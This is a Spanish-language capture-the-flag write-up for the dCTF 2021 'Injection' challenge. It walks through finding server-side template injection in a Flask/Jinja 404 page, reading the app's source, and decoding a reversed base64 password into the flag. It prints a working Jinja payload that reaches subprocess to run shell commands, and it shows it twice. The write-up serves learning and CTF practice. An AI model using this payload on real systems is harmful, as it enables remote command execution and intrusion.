dCTF 2021: Injection
Encontrando SSTI en Flask/Jinja, leyendo archivos fuente y decodificando la contraseña final.
Writeup original del reto: Injection.md
URL del reto: http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/

El sitio tenía un login de admin con User, Password y un campo Submit oculto.
Enviar cualquier cosa no funcionaba. Redirigía a /login, donde la página devolvía:
Oops! Page login doesn't exist :(
Estuve trabado con este por un rato. Revisé robots.txt, probé directorios comunes y miré el root path donde estaba almacenada la imagen, pero no encontré nada útil.
Eventualmente noté que el sitio reflejaba cualquier path que pidiera dentro de la respuesta 404, incluso un input simple de XSS:

Al principio pensé que podía ser SQL injection, lo cual me frenó porque en ese momento apenas sabía algo de SQLi.
Después de leer algunos writeups de CTF con comportamiento similar, encontré la palabra clave que necesitaba: SSTI.
Ya había leído sobre SSTI antes de este reto, pero no hice la conexión enseguida.
Encontrando SSTI
Probé esto:
http://dctf1-chall-injection.westeurope.azurecontainer.io:8080/{{1+1}}
La respuesta fue:
Oops! Page 2 doesn't exist :(
Eso confirmó que la expresión de template se estaba evaluando.
Después probé:
{{config}}
Eso devolvió muchos datos, incluyendo este mensaje:
'MESSAGE': 'You are getting closer!'
Desde ahí, el objetivo era convertir la SSTI en ejecución de comandos. El payload que terminé usando fue:
{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}
COMMAND es el comando a ejecutar.
Ejecutar ls devolvió:
app.py
lib
static
templates
Ejecutar ls lib devolvió:
security.py
Entonces leí el archivo con cat lib/security.py:
import base64
def validate_login(username, password):
if username != 'admin':
return False
valid_password = 'QfsFjdz81cx8Fd1Bnbx8lczMXdfxGb0snZ0NGZ'
return base64.b64encode(password.encode('ascii')).decode('ascii')[::-1].lstrip('=') == valid_password
La contraseña estaba codificada en base64, invertida y sin el padding = inicial. Para decodificarla, la invertí otra vez y agregué el padding:
base64.b64decode(password[::-1]+"==")
b'dctf{4ll_us3r_1nput_1s_3v1l}'
Eso me dio la flag.
Notas
Los payloads de SSTI pueden depender mucho del entorno. La mayoría de los payloads que encontré online no funcionaron acá, así que tuve que adaptar uno.
Este artículo de Medium fue la referencia más útil que encontré mientras lo resolvía:
https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee
El payload final que usé fue:
{{''.__class__.__mro__[1].__subclasses__()[414]('COMMAND',shell=True,stdout=-1).communicate()}}